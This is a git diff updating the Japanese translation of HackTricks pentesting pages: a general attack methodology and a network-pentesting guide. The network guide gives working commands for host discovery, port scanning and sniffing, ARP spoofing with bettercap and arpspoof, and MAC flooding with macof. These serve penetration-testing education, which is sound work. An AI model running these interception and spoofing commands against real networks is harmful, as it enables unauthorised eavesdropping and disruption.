-**ハッキングキャリア**に興味がある方、**解読不能なものをハック**したい方 - **採用中です!**(_流暢なポーランド語の読み書きが必要です_)。 +**ハッキングキャリア**に興味がある方や、**解読不能なものをハック**したい方 - **採用中です!**(_流暢なポーランド語の読み書きが必要です_)。 {% embed url="https://www.stmcyber.com/careers" %} @@ -32,7 +32,7 @@ _Hacktricksのロゴは_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/) ### 1 - [ネットワーク内のホストの発見](pentesting-network/#discovering-hosts)/ [企業の資産の発見](external-recon-methodology/) -**テスト**が**内部テスト**か**外部テスト**かによって、**会社のネットワーク内のホスト**(内部テスト)を見つけるか、**会社の資産をインターネット上で見つける**ことに興味があるかもしれません。 +**テスト**が**内部テスト**か**外部テスト**かによって、**会社のネットワーク内のホスト**(内部テスト)を見つけるか、**会社の資産をインターネット上で見つける**かに興味があるかもしれません。 {% hint style="info" %} 外部テストを実行している場合、会社の内部ネットワークへのアクセスを取得したら、このガイドを再起動する必要があります。 @@ -41,70 +41,70 @@ _Hacktricksのロゴは_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/) ### **2-** [**ネットワークで楽しむ**](pentesting-network/) **(内部)** **このセクションは、内部テストを実行している場合にのみ適用されます。**\ -ホストを攻撃する前に、**ネットワークからいくつかの資格情報を盗む**か、ネットワーク内で見つけられるものを**受動的/能動的(MitM)**に学ぶために、**データをスニッフィング**することができます。[**ネットワークのペンテスト**](pentesting-network/#sniffing)を読んでください。 +ホストを攻撃する前に、**ネットワークからいくつかの資格情報を盗む**か、ネットワーク内で見つけられるものを**受動的/能動的(MitM)に学ぶためにデータをスニッフィング**することができます。[**ネットワークのペンテスト**](pentesting-network/#sniffing)を読んでみてください。 ### 3- [ポートスキャン - サービスの発見](pentesting-network/#scanning-hosts) -**ホストの脆弱性を探す際に最初に行うべきことは、どのポートでどのサービスが実行されているかを知ることです。**[**ホストのポートをスキャンするための基本ツール**](pentesting-network/#scanning-hosts)を見てみましょう。 +**ホストの脆弱性を探している場合、まずはどのポートでどのサービスが実行されているかを知ることが重要です。**[**ホストのポートをスキャンするための基本ツール**](pentesting-network/#scanning-hosts)を見てみましょう。 -### **4-** [サービスバージョンの脆弱性を検索](search-exploits.md) +### **4-** [サービスバージョンの脆弱性の検索](search-exploits.md) -実行されているサービスとそのバージョンを知っている場合、**既知の脆弱性を検索する必要があります。**運が良ければ、シェルを提供する脆弱性が見つかるかもしれません... +実行されているサービスとそのバージョンを知ったら、**既知の脆弱性を検索する必要があります。**運が良ければシェルを取得するためのエクスプロイトがあるかもしれません... ### **5-** サービスのペンテスト -実行中のサービスに特別な脆弱性がない場合、**実行中の各サービスで一般的なミス構成を探す必要があります。** +実行中のサービスにファンシーなエクスプロイトがない場合、**実行中の各サービスで一般的なミス構成を探す必要があります。** -**この本の中で、最も一般的なサービスをペンテストするためのガイドが見つかります**(一般的でないサービスも含まれています)**。左のインデックスで** _**PENTESTING**_ **セクションを検索してください**(サービスはデフォルトポートで並べられています)。 +**この本の中で、最も一般的なサービスをペンテストするためのガイドが見つかります**(および一般的でないものも)**。左側のインデックスで** _**PENTESTING**_ **セクション**(サービスはデフォルトポートで順序付けされています)を検索してください。 -**特に[**Pentesting Web**](../network-services-pentesting/pentesting-web/) **部分に言及したいと思います(最も広範な部分です)。**\ -また、[**ソフトウェアの既知の脆弱性を見つける方法**](search-exploits.md)についての小さなガイドもここにあります。 +**[**Pentesting Web**](../network-services-pentesting/pentesting-web/) **部分に特筆したいと思います(最も広範囲です)。**\ +また、[**ソフトウェアの既知の脆弱性を見つける方法についての小さなガイド**](search-exploits.md)もここにあります。 -**インデックスにサービスがない場合は、Googleで検索**して他のチュートリアルを見つけ、**追加してほしい場合はお知らせください。** Googleで**何も見つからない**場合は、**自分自身でブラインドペンテスト**を実行し、**サービスに接続し、それをファジングして応答を読む**ことから始めることができます。 +**インデックスにサービスがない場合は、Googleで検索**して他のチュートリアルを探し、**追加してほしい場合はお知らせください。** Googleで**何も見つからない**場合は、**自分自身のブラインドペンテスト**を実行してください。サービスに接続し、それをファジングして応答を読むことから始めることができます(あれば)。 #### 5.1 自動ツール -**自動脆弱性評価を実行できるツールもいくつかあります。**[**Legion**](https://github.com/carlospolop/legion)**を試してみることをお勧めします。これは、この本で見つけることができるサービスのペンテストに関するノートに基づいて作成されたツールです。** +**自動脆弱性評価を実行できるツールもいくつかあります。** **私は** [**Legion**](https://github.com/carlospolop/legion)**を試すことをお勧めします。これは、この本で見つけることができるサービスのペンテストに関するノートに基づいて作成されたツールです。** #### **5.2 サービスのブルートフォース** -一部のシナリオでは、**Brute-Force**が**サービスを侵害**するのに役立つ場合があります。[**異なるサービスのブルートフォースのチートシート**](brute-force.md)**をこちらで見つけてください。** +一部のシナリオでは、**ブルートフォース**が**サービスを侵害**するのに役立つ場合があります。[**ここで異なるサービスのブルートフォースのチートシートを見つけてください**](brute-force.md)**。** ### 6- [フィッシング](phishing-methodology/) -この時点で興味深い脆弱性が見つからない場合は、**ネットワーク内に入るためにいくつかのフィッシングを試す必要があるかもしれません。**フィッシング手法については、[こちら](phishing-methodology/)を読んでください。 +この時点で興味深い脆弱性を見つけられない場合は、ネットワーク内に入るために**いくつかのフィッシングを試す必要があるかもしれません。**私のフィッシング手法は[こちら](phishing-methodology/)です: ### **7-** [**シェルの取得**](shells/) -何らかの方法で**被害者でコードを実行できるようになっているはずです。**その後、[逆シェルを取得するためにシステム内の可能なツールのリストが非常に役立ちます](shells/)。 +何らかの方法で被害者でコードを実行できるようになっているはずです。その後、[逆シェルを取得するためにシステム内の可能なツールのリストが非常に役立ちます](shells/)。 -特にWindowsでは、**アンチウイルスを回避するためのヘルプ**が必要になる場合があります:[**このページをチェックしてください**](../windows-hardening/av-bypass.md)**。** +特にWindowsでは、**アンチウイルスを回避するためのヘルプが必要**です:[**このページをチェックしてください**](../windows-hardening/av-bypass.md)**。**\\ ### 8- 内部 -シェルで問題が発生した場合、ペンテスターにとって非常に便利な**最も有用なコマンドの小さなコンパイル**がここにあります: +シェルで問題が発生した場合は、ペンテスターにとって非常に便利な**最も有用なコマンドの小さなコンパイル**がこちらにあります: -* [**Linux**](../linux-hardening/useful-linux-commands.md) -* [**Windows(CMD)**](../windows-hardening/basic-cmd-for-pentesters.md) -* [**Windows(PS)**](../windows-hardening/basic-powershell-for-pentesters/) +- [**Linux**](../linux-hardening/useful-linux-commands.md) +- [**Windows(CMD)**](../windows-hardening/basic-cmd-for-pentesters.md) +- [**Windows(PS)**](../windows-hardening/basic-powershell-for-pentesters/) ### **9 -** [**エクスフィルトレーション**](exfiltration.md) -おそらく、**被害者からデータを抽出**する必要があるか、特権昇格スクリプトなどを**導入**する必要があるでしょう。**これらの目的で使用できる一般的なツールについての**[**投稿がこちらにあります**](exfiltration.md)**。** +おそらく、被害者から**データを抽出**する必要があるか、特権昇格スクリプトなどを**導入**する必要があります。**これらの目的で使用できる一般的なツールについての投稿がこちらにあります**:[**こちら**](exfiltration.md)**。** ### **10- 特権昇格** #### **10.1- ローカル特権昇格** ボックス内で**root/Administratorではない**場合、**特権昇格の方法を見つける必要があります。**\ -ここでは、[**Linux**](../linux-hardening/privilege-escalation/) **および** [**Windows**](../windows-hardening/windows-local-privilege-escalation/) **でローカルに特権昇格する方法についてのガイドが見つかります。**\ -また、以下のWindowsの動作に関するページもチェックしてください: +ここでは、[**Linux**](../linux-hardening/privilege-escalation/) **および** [**Windows**](../windows-hardening/windows-local-privilege-escalation/) **でローカルに特権昇格するためのガイドが見つかります。**\ +また、以下のWindowsの動作に関するページもチェックする必要があります: * [**認証、資格情報、トークン特権、およびUAC**](../windows-hardening/authentication-credentials-uac-and-efs/) -* [**NTLMの動作**](../windows-hardening/ntlm/)はどのようになっていますか -* Windowsでの[**資格情報の盗み出し**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) +* [**NTLMの動作**](../windows-hardening/ntlm/) +* Windowsでの[**資格情報の盗み取り**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) * [_**Active Directory**_](../windows-hardening/active-directory-methodology/)に関するトリック -**WindowsおよびLinuxのローカル特権昇格パスを列挙するための最良のツールを確認するのを忘れないでください:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) +**WindowsとLinuxのローカル特権昇格パスを列挙するための最高のツールをチェックするのを忘れないでください:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) #### **10.2- ドメイン特権昇格** @@ -114,8 +114,8 @@ _Hacktricksのロゴは_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/) #### **11**.1 - ルーティング -ホスト内でさらに**パスワード**を見つけることができるか、または**ユーザーの特権**で他のマシンに**アクセス**できるかを確認してください。\ -ここでは、[**Windowsでのパスワードのダンプ方法**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md)が異なる方法で見つかります。 +ホスト内でさらに**パスワード**を見つけることができるか、または**ユーザーの特権**で**他のマシンにアクセス**できるかどうかを確認してください。\ +ここでは、[**Windowsでパスワードをダンプするさまざまな方法**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md)が見つかります。 #### 11.2 - 持続性 @@ -126,9 +126,9 @@ TODO: WindowsとLinuxでの持続性ポストを完了する ### 12 - ピボット -**収集した資格情報**を使用して他のマシンにアクセスできるかもしれません。または、被害者が接続されている新しいネットワーク内で新しいホストを**発見してスキャンする必要があるかもしれません**(Pentesting Methodologyを再開)。\ +**収集した資格情報**を使用して、他のマシンにアクセスできるかもしれません。または、被害者が接続されている新しいネットワーク内で**新しいホストを発見してスキャンする必要があるかもしれません**(Pentesting Methodologyを再開)。\ この場合、トンネリングが必要になるかもしれません。[**トンネリングについての記事**](tunneling-and-port-forwarding.md)がここにあります。\ -また、[Active Directoryのペンテスト方法論](../windows-hardening/active-directory-methodology/)についての記事もチェックする必要があります。そこでは、横断移動、特権昇格、および資格情報のダンプに関するクールなトリックが見つかります。\ +また、[Active Directoryのペンテスト方法論に関する記事](../windows-hardening/active-directory-methodology/)もチェックする必要があります。そこでは、横断移動、特権昇格、および資格情報のダンプに関するクールなトリックが見つかります。\ Windows環境でのピボットに非常に役立つ可能性がある[**NTLM**](../windows-hardening/ntlm/)のページもチェックしてください。 ### MORE @@ -149,7 +149,7 @@ Windows環境でのピボットに非常に役立つ可能性がある[**NTLM**] * [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md) * [**パディングオラクル**](../crypto-and-stego/padding-oracle-priv.md) -
+
**ハッキングキャリア**に興味がある場合、**私たちは採用中です!**(_流暢なポーランド語の読み書きが必要です_)。 @@ -157,14 +157,14 @@ Windows環境でのピボットに非常に役立つ可能性がある[**NTLM**]
-**htARTE(HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキング**を学びましょう! +**htARTE(HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキング**を学びましょう! -HackTricksをサポートする他の方法: +HackTricksをサポートする他の方法: -* **HackTricksで企業を宣伝したい**場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れる -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つける -* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローしてください。 -* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。 +* **HackTricksの広告を見たい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れる +* 独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する +* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする +* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
diff --git a/generic-methodologies-and-resources/pentesting-network/README.md b/generic-methodologies-and-resources/pentesting-network/README.md index 1cd865e3c..6ee3d917a 100644 --- a/generic-methodologies-and-resources/pentesting-network/README.md +++ b/generic-methodologies-and-resources/pentesting-network/README.md @@ -1,34 +1,34 @@ -# ペンテストネットワーク +# ネットワークの侵入テスト
-**htARTE(HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでAWSハッキングを学ぶ** こちら +htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学びましょう htARTE(HackTricks AWS Red Team Expert) HackTricksをサポートする他の方法: -- **HackTricksで企業を宣伝したい**か**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! - [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)を**フォロー**する -- **ハッキングトリックを共有する**には、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 +- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする +- **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
\ -**バグバウンティのヒント**: **ハッカーによって作成されたプレミアム** **バグバウンティプラットフォーム** **Intigriti**に**サインアップ**してください!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得しましょう! +**バグバウンティのヒント**: **ハッカーによって作成されたプレミアムバグバウンティプラットフォーム**である**Intigriti**に**サインアップ**してください!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得しましょう! {% embed url="https://go.intigriti.com/hacktricks" %} ## 外部からホストを発見する -これは**インターネットからIPが応答しているかを見つける**方法についての**簡単なセクション**になります。\ +これは、**インターネットから応答するIPを見つける方法**についての**簡単なセクション**になります。\ この状況では、いくつかの**IPのスコープ**(おそらく複数の**範囲**さえも)があり、**どのIPが応答しているか**を見つけるだけです。 ### ICMP -これはホストが起動しているかどうかを発見する**最も簡単で速い**方法です。\ -いくつかの**ICMP**パケットを送信して**応答を期待**することができます。最も簡単な方法は、**エコーリクエスト**を送信して応答を期待することです。単純な`ping`を使用するか、**範囲**用に`fping`を使用することができます。\ -他の種類のICMPパケットを送信するために**nmap**を使用することもできます(これにより、一般的なICMPエコーリクエスト-レスポンスへのフィルタが回避されます)。 +これは、ホストが起動しているかどうかを発見する**最も簡単で速い方法**です。\ +いくつかの**ICMP**パケットを送信して**応答を期待**することができます。最も簡単な方法は、**エコーリクエスト**を送信して応答を期待することです。これは、単純な`ping`を使用するか、**範囲**に対して`fping`を使用することで行うことができます。\ +また、**nmap**を使用して他のタイプのICMPパケットを送信することもできます(これにより、一般的なICMPエコーリクエスト-レスポンスへのフィルタが回避されます)。 ```bash ping -c 1 199.66.11.4 # 1 echo request to a host fping -g 199.66.11.0/24 # Send echo requests to ranges @@ -36,7 +36,7 @@ nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet ``` ### TCP ポートの発見 -すべての種類の ICMP パケットがフィルタリングされていることが非常に一般的です。そのため、ホストが稼働しているかどうかを確認するためにできることは、**オープンなポートを見つけようとする**ことです。各ホストには**65535個のポート**がありますので、もし「大規模な」スコープを持っている場合、各ホストの**各ポート**がオープンしているかどうかをテストすることはできません。それには時間がかかりすぎます。\ +すべての種類の ICMP パケットがフィルタリングされていることが非常に一般的です。そのため、ホストが稼働しているかどうかを確認するためにできることは、**オープンなポートを見つけようとすること**です。各ホストには**65535個のポート**がありますので、もし「大規模」なスコープを持っている場合、各ホストの**すべてのポート**がオープンかどうかをテストすることはできません。それには時間がかかりすぎます。\ そのため、必要なものは**高速なポートスキャナー**([masscan](https://github.com/robertdavidgraham/masscan))と**よく使用されるポートのリスト**です: ```bash #Using masscan to scan top20ports of nmap in a /24 range (less than 5min) @@ -44,7 +44,7 @@ masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5 ``` ### HTTP ポートの発見 -これは、**HTTP サービスの発見に焦点を当てた**、便利な TCP ポートの発見です。 +これは、**HTTP サービスの発見に焦点を当てたいときに便利な** TCP ポートの発見です。 ```bash masscan -p80,443,8000-8100,8443 199.66.11.0/24 ``` @@ -56,16 +56,16 @@ nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24 # The -sV will make nmap test each possible known UDP service packet # The "--version-intensity 0" will make nmap only test the most probable ``` -前に提案されたnmapの行は、/24の範囲内のすべてのホストで**上位1000のUDPポート**をテストしますが、これだけでも**20分以上**かかります。**最速の結果**が必要な場合は、[**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner)を使用できます:`./udp-proto-scanner.pl 199.66.11.53/24` これにより、これらの**UDPプローブ**がそれらの**期待されるポート**に送信されます(/24の範囲では1分で完了します):_DNSStatusRequest、DNSVersionBindReq、NBTStat、NTPRequest、RPCCheck、SNMPv3GetRequest、chargen、citrix、daytime、db2、echo、gtpv1、ike、ms-sql、ms-sql-slam、netop、ntp、rpc、snmp-public、systat、tftp、time、xdmcp。_ +前に提案されたnmapの行は、/24の範囲内のすべてのホストで**トップ1000のUDPポート**をテストしますが、これだけでも**20分以上**かかります。 より**高速な結果**が必要な場合は、[**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner)を使用できます:`./udp-proto-scanner.pl 199.66.11.53/24` これにより、これらの**UDPプローブ**がそれらの**期待されるポート**に送信されます(/24の範囲では1分で完了します):_DNSStatusRequest、DNSVersionBindReq、NBTStat、NTPRequest、RPCCheck、SNMPv3GetRequest、chargen、citrix、daytime、db2、echo、gtpv1、ike、ms-sql、ms-sql-slam、netop、ntp、rpc、snmp-public、systat、tftp、time、xdmcp._ ### SCTPポートの発見 ```bash #Probably useless, but it's pretty fast, why not trying? nmap -T4 -sY -n --open -Pn ``` -## Wifiの侵入テスト +## Wifiのペンテスト -ここでは、執筞時点でよく知られているWifi攻撃の素晴らしいガイドを見つけることができます: +ここでは、執筆時点でよく知られているWifi攻撃の素敵なガイドを見つけることができます: {% content-ref url="../pentesting-wifi/" %} [pentesting-wifi](../pentesting-wifi/) @@ -73,11 +73,11 @@ nmap -T4 -sY -n --open -Pn ## 内部からホストを発見する -ネットワーク内部にいる場合、最初に行いたいことの1つは**他のホストを発見する**ことです。**どれだけノイズ**を出すことができるか/したいかに応じて、異なるアクションを実行できます: +ネットワーク内部にいる場合、最初に行いたいことの1つは**他のホストを発見する**ことです。**どれだけノイズ**を出すことができるか/したいかによって、異なるアクションを実行できます: ### パッシブ -これらのツールを使用して、接続されたネットワーク内のホストを受動的に発見できます: +これらのツールを使用して、接続されたネットワーク内のホストを受動的に発見できます: ```bash netdiscover -p p0f -i eth0 -p -o /tmp/p0f.log @@ -88,8 +88,8 @@ set net.show.meta true #more info ``` ### Active -外部からホストを発見する方法でコメントされているテクニックは、ここでも**適用できます**。\ -ただし、他のホストと**同じネットワーク**にいるため、**さらに多くのこと**ができます: +[_**外部からホストを発見する**_](./#discovering-hosts-from-the-outside)(_TCP/HTTP/UDP/SCTP ポート探索_)でコメントされている技術に注意してください。\ +しかし、他のホストと**同じネットワーク**にいるため、**ここでは**さらに多くのことができます: ```bash #ARP discovery nmap -sn #ARP Requests (Discover IPs) @@ -114,15 +114,15 @@ alive6 # Send a pingv6 to multicast. _外部からホストを発見する_ でコメントされている技術([_**ICMP**_](./#icmp))は、ここでも**適用できます**。\ ただし、他のホストと**同じネットワーク**にいるため、**さらに多くのこと**ができます: -- **サブネットブロードキャストアドレス**に**ping**を送信すると、**各ホスト**にpingが到達し、彼らが**応答**する可能性があります: `ping -b 10.10.5.255` +- **サブネットブロードキャストアドレス**に**ping**を送信すると、各ホストにpingが到達し、彼らが**あなたに応答**する可能性があります: `ping -b 10.10.5.255` - **ネットワークブロードキャストアドレス**にpingを送信すると、**他のサブネット内のホスト**を見つけることさえできます: `ping -b 255.255.255.255` - `nmap`の`-PE`、`-PP`、`-PM`フラグを使用して、それぞれ**ICMPv4 echo**、**タイムスタンプ**、**サブネットマスクリクエスト**を送信してホストの検出を実行します: `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24` ### **Wake On Lan** -Wake On Lanは、**ネットワークメッセージ**を介してコンピューターを**起動**するために使用されます。コンピューターを起動するために使用されるマジックパケットは、**MAC Dst**が提供され、その後、同じパケット内で**16回繰り返される**パケットだけです。\ +Wake On Lanは、**ネットワークメッセージ**を介してコンピューターを**起動**するために使用されます。コンピューターを起動するために使用されるマジックパケットは、MAC Dstが提供され、その後、同じパケット内で**16回繰り返される**パケットです。\ その後、この種のパケットは通常、**イーサネット0x0842**または**ポート9へのUDPパケット**で送信されます。\ -**\[MAC]**が提供されない場合、パケットは**ブロードキャストイーサネット**に送信されます(ブロードキャストMACが繰り返されるMACになります)。 +**\[MAC]**が提供されない場合、パケットは**ブロードキャストイーサネット**に送信されます(ブロードキャストMACが繰り返されるものになります)。 ```bash # Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain) wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847 @@ -130,14 +130,14 @@ wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9 ``` ## ホストのスキャン -IPアドレス(外部または内部)をすべて発見したら、詳細にスキャンしたい場合、さまざまなアクションを実行できます。 +IPアドレス(外部または内部)をすべて発見したら、詳細にスキャンしたいと思うでしょう。異なるアクションを実行できます。 ### TCP -- **オープン**ポート: _SYN --> SYN/ACK --> RST_ -- **クローズド**ポート: _SYN --> RST/ACK_ -- **フィルターされた**ポート: _SYN --> \[NO RESPONSE]_ -- **フィルターされた**ポート: _SYN --> ICMPメッセージ_ +* **オープン**ポート: _SYN --> SYN/ACK --> RST_ +* **クローズド**ポート: _SYN --> RST/ACK_ +* **フィルタリングされた**ポート: _SYN --> \[NO RESPONSE]_ +* **フィルタリングされた**ポート: _SYN --> ICMPメッセージ_ ```bash # Nmap fast scan for the most 1000tcp ports used nmap -sV -sC -O -T4 -n -Pn -oA fastscan @@ -153,10 +153,10 @@ syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000 UDPポートをスキャンするための2つのオプションがあります: -- ポートが**閉じている**場合は、**UDPパケット**を送信し、応答として**ICMP unreachable**をチェックします(いくつかのケースではICMPが**フィルタリング**されているため、ポートが閉じているか開いているかの情報を受信できないことがあります)。 -- **フォーマットされたデータグラム**を送信して、**サービス**(例:DNS、DHCP、TFTPなど、_nmap-payloads_にリストされている)から応答を引き出します。応答を受信した場合、ポートは**開いています**。 +- ポートが**閉じている**場合は、**UDPパケット**を送信して応答が **ICMP unreachable** かどうかを確認します(いくつかのケースでは、ICMPが**フィルタリング**されているため、ポートが閉じているか開いているかの情報を受信できないことがあります)。 +- **フォーマットされたデータグラム**を送信して、**サービス**(例:DNS、DHCP、TFTPなど、_nmap-payloads_にリストされている他のサービス)から応答を引き出します。応答を受信した場合は、ポートが**開いている**ことになります。 -**Nmap**は"-sV"を使用して**両方の**オプションを組み合わせます(UDPスキャンは非常に遅いです)、ただしUDPスキャンはTCPスキャンよりも遅いことに注意してください: +**Nmap**は"-sV"を使用して**両方の**オプションを組み合わせます(UDPスキャンは非常に遅いです)、ただし、UDPスキャンはTCPスキャンよりも遅いことに注意してください: ```bash # Check if any of the most common udp services is running udp-proto-scanner.pl @@ -170,11 +170,11 @@ nmap -sU -sV --version-intensity 0 -n -T4 ``` ### SCTPスキャン -**SCTP(Stream Control Transmission Protocol)**は、**TCP(Transmission Control Protocol)**および**UDP(User Datagram Protocol)**と併用するように設計されています。その主な目的は、**Signaling System 7(SS7)**で見られる信頼性の機能の多くを反映しながら、IPネットワーク上での電話データの輸送を容易にすることです。**SCTP**は、**SIGTRAN**プロトコルファミリーの中核コンポーネントであり、SS7信号をIPネットワーク上で輸送することを目的としています。 +**SCTP(Stream Control Transmission Protocol)**は、**TCP(Transmission Control Protocol)**および**UDP(User Datagram Protocol)**と併用するように設計されています。その主な目的は、IPネットワーク上での電話データの輸送を容易にし、**Signaling System 7(SS7)**で見られる信頼性の多くの機能を反映しています。**SCTP**は、**SIGTRAN**プロトコルファミリーの中核コンポーネントであり、SS7信号をIPネットワーク上で輸送することを目的としています。 **SCTP**のサポートは、**IBM AIX**、**Oracle Solaris**、**HP-UX**、**Linux**、**Cisco IOS**、**VxWorks**など、さまざまなオペレーティングシステムによって提供されており、その広範な受容と通信およびネットワーキング分野での有用性が示されています。 -nmapによって提供されるSCTPの2つの異なるスキャンオプションは、_-sY_と_-sZ_です。 +nmapによって提供されるSCTPの2つの異なるスキャンオプション: _-sY_ および _-sZ_ ```bash # Nmap fast SCTP scan nmap -T4 -sY -n -oA SCTFastScan @@ -195,7 +195,7 @@ nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan ### 内部IPアドレスの特定 -**設定ミスのルーター、ファイアウォール、およびネットワークデバイス** は、時々 **非公開ソースアドレス** を使用してネットワークプローブに応答します。**tcpdump** を使用して、テスト中にプライベートアドレスから受信したパケットを特定できます。具体的には、Kali Linuxでは、**eth2インターフェース** でパケットをキャプチャできます。このインターフェースは、インターネットからアクセスできます。設定がNATまたはファイアウォールの背後にある場合、このようなパケットはおそらくフィルタリングされますので、注意が必要です。 +**設定ミスのルーター、ファイアウォール、およびネットワークデバイス** は、時々 **非公開ソースアドレス** を使用してネットワークプローブに応答します。**tcpdump** を使用して、テスト中にプライベートアドレスから受信したパケットを特定できます。具体的には、Kali Linuxでは、**eth2インターフェース** でパケットをキャプチャできます。これは公共インターネットからアクセスできます。設定がNATまたはファイアウォールの背後にある場合、そのようなパケットはフィルタリングされる可能性があることに注意することが重要です。 ```bash tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16 tcpdump: verbose output suppressed, use -v or -vv for full protocol decode @@ -215,14 +215,12 @@ sudo tcpdump -i udp port 53 #Listen to DNS request to discover what tcpdump -i icmp #Listen to icmp packets sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &" ``` -One can, also, capture packets from a remote machine over an SSH session with Wireshark as the GUI in realtime. +一方、WiresharkをGUIとして使用してリアルタイムでリモートマシンからSSHセッション経由でパケットをキャプチャすることもできます。 ``` ssh user@ tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i - ssh @ tcpdump -i -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic ``` ### Bettercap - -Bettercapは、ネットワーク内の様々な攻撃を実行するための強力なツールです。ARPスプーフィング、SSLストリップ、DNS偽装などの攻撃を実行するために使用されます。Bettercapは、中間者攻撃やネットワークスニッフィングなどのテスト中に広く使用されています。 ```bash net.sniff on net.sniff stats @@ -243,7 +241,7 @@ set net.sniff.regexp #If set only packets matching this regex will be considered ### ARP スプーフィング -ARP スプーフィングは、機器のIPが自分のデバイスのMACアドレスであることを示すために不正なARP応答を送信することです。その後、被害者はARPテーブルを変更し、スプーフィングされたIPに接触したいときには常に当機器に接触します。 +ARP スプーフィングは、不正な ARP レスポンスを送信して、特定のマシンの IP が自分のデバイスの MAC アドレスであることを示すことです。その後、被害者は ARP テーブルを変更し、スプーフィングされた IP に接続するたびに、当該 IP に接続するために当社のマシンに連絡します。 #### **Bettercap** ```bash @@ -254,8 +252,6 @@ set arp.spoof.fullduplex true #If true, both the targets and the gateway will be set arp.spoof.internal true #If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the Internet (default=false) ``` #### **Arpspoof** - -Arpspoofは、ARPプロトコルを悪用して、ターゲットデバイスとゲートウェイの間の通信を傍受するために使用されます。 ```bash echo 1 > /proc/sys/net/ipv4/ip_forward arpspoof -t 192.168.1.1 192.168.1.2 @@ -267,19 +263,17 @@ arpspoof -t 192.168.1.2 192.168.1.1 ```bash macof -i ``` -現代のスイッチでは、この脆弱性は修正されています。 +### 802.1Q VLAN / DTP Attacks -### 802.1Q VLAN / DTP 攻撃 +#### Dynamic Trunking -#### 動的トランク 